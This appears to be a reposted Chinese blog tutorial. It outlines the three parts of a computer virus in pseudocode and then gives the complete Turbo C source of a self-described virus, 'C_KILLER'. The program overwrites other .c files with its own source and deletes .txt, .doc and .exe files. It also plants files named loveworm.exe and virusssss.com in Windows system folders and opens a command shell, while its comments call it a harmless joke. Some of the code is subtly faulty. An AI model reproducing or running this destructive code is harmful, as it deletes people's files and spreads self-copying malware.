[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.

[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.

一、什么是病毒
恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.
我们要对付病毒,就要了解病毒.
写一些病毒是一个很好的办法.
如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:
“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“

其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。
要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。

  1. InfectSection()
  2. {
  3. if (infectable_object_found
  4. &&object_not_already_infect)
  5. infect_object;
  6. }

InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
  1. TriggerSection()
  2. {
  3. if (date_is_Friday_13th_and_time_is_03:13:13)
  4. set_trigger_status_to_yes;
  5. }

TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}

有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
  1. Executesection()
  2. {
  3. if (trigger_statue_is_yes)
  4. execute_payload;
  5. }

Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}

二、 编制病毒的语言
最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:
1).Win32编程,进程,线程,内存,等等。
2).32位汇编,以指令用法为主。386汇编就比较够用了。
3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。
4).调试技术。VC,TD32,SoftIce,等等。
要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C
以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.
三 用C编制病毒
以TurboC2.0为例.它的库函数可以实现很多功能.
如以下两个函数:
1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。
2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.

四 我写的C病毒
<<计算机病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害可能会更恰当一些".从这个意义上说,我的病毒是非常典型的病毒.
下面是我写的病毒.
它主要由四个模块组成.

RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.
CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.
Breed()是C_KILLER的精华所在,它将kill所有的c程序,并利用它们繁殖自身.
前三个是有效负载.
第四个可以说是它的感染机制.
  1. /**********************************
  2. IN FACT,IT"S NOT A VIRYUS AT ALL.
  3. **********************************/
  4. #include <io.h>
  5. #include <dir.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. /* copy outfile to infile */
  10. void copyfile(char *infile, char *outfile)
  11. {
  12. FILE *in,*out;
  13. in = fopen(infile,"r");
  14. out = fopen(outfile,"w");
  15. while (!feof(in))
  16. {
  17. fputc(fgetc(in),out);
  18. }
  19. fclose(in);
  20. fclose(out);
  21. }
  22. /*
  23. This function named Rubbishmaker.
  24. */
  25. void MakeRubbish()
  26. {
  27. int i;
  28. FILE *fp;
  29. char *path;
  30. char *NewName;
  31. char *disk[7] = {"A","B","C","D","E","F","G"};
  32. char *addtion = "://";
  33. /* Make some rubbish at the current catalogue */
  34. for (i = 0; i<5; i++)
  35. {
  36. char tempname[] = "XXXXXX" ;
  37. NewName = mktemp(tempname);
  38. fp = fopen(NewName,"w");
  39. fclose(fp);
  40. }
  41. /* make some rubbish at the root catalogue */
  42. path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
  43. chdir(path); /*change directory according to the "path" */
  44. for (i = 0; i<5; i++)
  45. {
  46. char tempname[] = "XXXXXX";
  47. NewName = mktemp(tempname);
  48. fp = fopen(NewName,"w");
  49. fclose(fp);
  50. }
  51. }
  52. /*
  53. This function can creat some .exe or .com documents in the sensitive place.
  54. Don't worry,It's only a joke.It will do no harm to your computer.
  55. */
  56. void CreatEXE()
  57. {
  58. int i;
  59. char *path;
  60. char *s[2] = {"C://WINDOWS//system32//loveworm.exe","C://WINDOWS//virusssss.com"};
  61. for ( i = 0; i <2; i++)
  62. {
  63. open(s[i], 0x0100,0x0080);
  64. copyfile( "C_KILLER.C",s[i]);
  65. }
  66. }
  67. /* remove something from your computer */
  68. void Remove()
  69. {
  70. int done;
  71. int i;
  72. struct ffblk ffblk;
  73. char *documenttype[3] = {"*.txt","*.doc","*.exe"};
  74. for (i = 0; i <3; i++)
  75. {
  76. done = findfirst(documenttype[i],&ffblk,2);
  77. while (!done)
  78. {
  79. remove(ffblk.ff_name);
  80. done = findnext(&ffblk);
  81. }
  82. }
  83. }
  84. /* overlay the c programs */
  85. void Breed()
  86. {
  87. int done;
  88. struct ffblk ffblk;
  89. done = findfirst("*.c",&ffblk,2);
  90. while (!done)
  91. {
  92. if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
  93. {
  94. copyfile("C_KILLER.C",ffblk.ff_name);
  95. }
  96. done = findnext(&ffblk);
  97. }
  98. }
  99. void main()
  100. {
  101. printf("THERE IS A VIRUS BY XIAOKE./n/n");
  102. Breed();
  103. Remove();
  104. CreatEXE();
  105. printf("COULD YOU TELL ME YOUR NAME?/n/n");
  106. printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!/n/n");
  107. MakeRubbish();
  108. getchar();
  109. printf("IT'S ONLY A JOKE! THANK YOU!/n/n");
  110. clrscr();
  111. system("cmd");
  112. }

【转】用C写一个简单病毒的更多相关文章

  1. 用Python写一个简单的Web框架

    一.概述 二.从demo_app开始 三.WSGI中的application 四.区分URL 五.重构 1.正则匹配URL 2.DRY 3.抽象出框架 六.参考 一.概述 在Python中,WSGI( ...

  2. 如何写一个简单的http服务器

    最近几天用C++写了一个简单的HTTP服务器,作为学习网络编程和Linux环境编程的练手项目,这篇文章记录我在写一个HTTP服务器过程中遇到的问题和学习到的知识. 服务器的源代码放在Github. H ...

  3. 如何写一个简单的shell

    如何写一个简单的shell 看完<UNIX环境高级编程>后我就一直想写一个简单的shell来作为练习,因为有事断断续续的写了好几个月,如今写了差不多来总结一下. 源代码放在了Github: ...

  4. 分享:计算机图形学期末作业!!利用WebGL的第三方库three.js写一个简单的网页版“我的世界小游戏”

    这几天一直在忙着期末考试,所以一直没有更新我的博客,今天刚把我的期末作业完成了,心情澎湃,所以晚上不管怎么样,我也要写一篇博客纪念一下我上课都没有听,还是通过强大的度娘完成了我的作业的经历.(当然作业 ...

  5. 一步一步写一个简单通用的makefile(三)

    上一篇一步一步写一个简单通用的makefile(二) 里面的makefile 实现对通用的代码进行编译,这一章我将会对上一次的makefile 进行进一步的优化. 优化后的makefile: #Hel ...

  6. Java写一个简单学生管理系统

    其实作为一名Java的程序猿,无论你是初学也好,大神也罢,学生管理系统一直都是一个非常好的例子,初学者主要是用数组.List等等来写出一个简易的学生管理系统,二.牛逼一点的大神则用数据库+swing来 ...

  7. (2)自己写一个简单的servle容器

    自己写一个简单的servlet,能够跑一个简单的servlet,说明一下逻辑. 首先是写一个简单的servlet,这就关联到javax.servlet和javax.servlet.http这两个包的类 ...

  8. express 写一个简单的web app

    之前写过一个简单的web app, 能够完成注册登录,展示列表,CURD 但是版本好像旧了,今天想写一个简单的API 供移动端调用 1.下载最新的node https://nodejs.org/zh- ...

  9. 写一个简单的C词法分析器

    写一个简单的C词法分析器 在写本文过程中,我参考了<词法分析器的实现>中的一些内容.这里我们主要讨论写一个C语言的词法分析器. 一.关键字 首先,C语言中关键字有: auto.break. ...

随机推荐

  1. (十三)WebGIS中工具栏的设计之命令模式

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/. 1.背景 从这一章节开始我们将正式进入WebGIS的工具栏中相关功能的 ...

  2. 【JUC】JDK1.8源码分析之ThreadPoolExecutor(一)

    一.前言 JUC这部分还有线程池这一块没有分析,需要抓紧时间分析,下面开始ThreadPoolExecutor,其是线程池的基础,分析完了这个类会简化之后的分析,线程池可以解决两个不同问题:由于减少了 ...

  3. SQLServer学习笔记系列12

    一.写在前面的话 这个sql学习系列,今天准备告一段落,虽然短短的十几篇文章,深刻感受到将学习的东西记录下来,是需要一种坚持! 这些东西只有反复的学习吸收,最终沉淀下来的才是属于自己的知识.也是提醒自 ...

  4. C#学习记录

    转眼几个月没更博了,把几个月前学C#的笔记发一下,就记录了点教重要的点子而已 1.打印 Console.WriteLine(); 打印 Console.ReadKey(); 按一个按键继续执行 Con ...

  5. asp.net获取客户端浏览器及主机信息

    在线预览效果:http://tool.hovertree.com/info/client/ 其中aspx页面的控件代码: <asp:ListBox runat="server" ...

  6. [WCF编程]12.事务:事务概述

    一.事务概述 维护系统一致性和正确地处理错误恢复挑战的最佳方式是使用事务. 一个事务就是一个复杂操作的集合,这个集合中任何一个操作的失败都会引起整个集合的失败. 尽管在事务进行时系统被允许暂时出于不一 ...

  7. [WCF编程]10.操作:请求/应答操作

    一.调用操作概述 WCF除了支持经典的服务端-客户端的请求/应答操作外,还提供了对其他操作类型的内建支持,包括:即发即弃的单向调用:允许服务将调用返回给客户端的双向回调:允许客户端或服务器处理大量负荷 ...

  8. Asp.net 面向接口可扩展框架之使用“类型转化基础服务”测试四种Mapper(AutoMapper、EmitMapper、NLiteMapper及TinyMapper)

    Asp.net 面向接口可扩展框架的“类型转化基础服务”是我认为除了“核心容器”之外最为重要的组成部分 但是前面博文一出,争议很多,为此我再写一篇类型转化基础服务和各种Mapper结合的例子,顺便对各 ...

  9. 【C#进阶系列】28 基元线程同步构造

    多个线程同时访问共享数据时,线程同步能防止数据损坏.之所以要强调同时,是因为线程同步问题实际上就是计时问题. 不需要线程同步是最理想的情况,因为线程同步一般很繁琐,涉及到线程同步锁的获取和释放,容易遗 ...

  10. 数据结构与算法分析 java语音描述(引论)

    1.1本书讨论的问题 public class Test { // 输出字谜中的单词 public static void outPutlogoGriph(String temp, String[] ...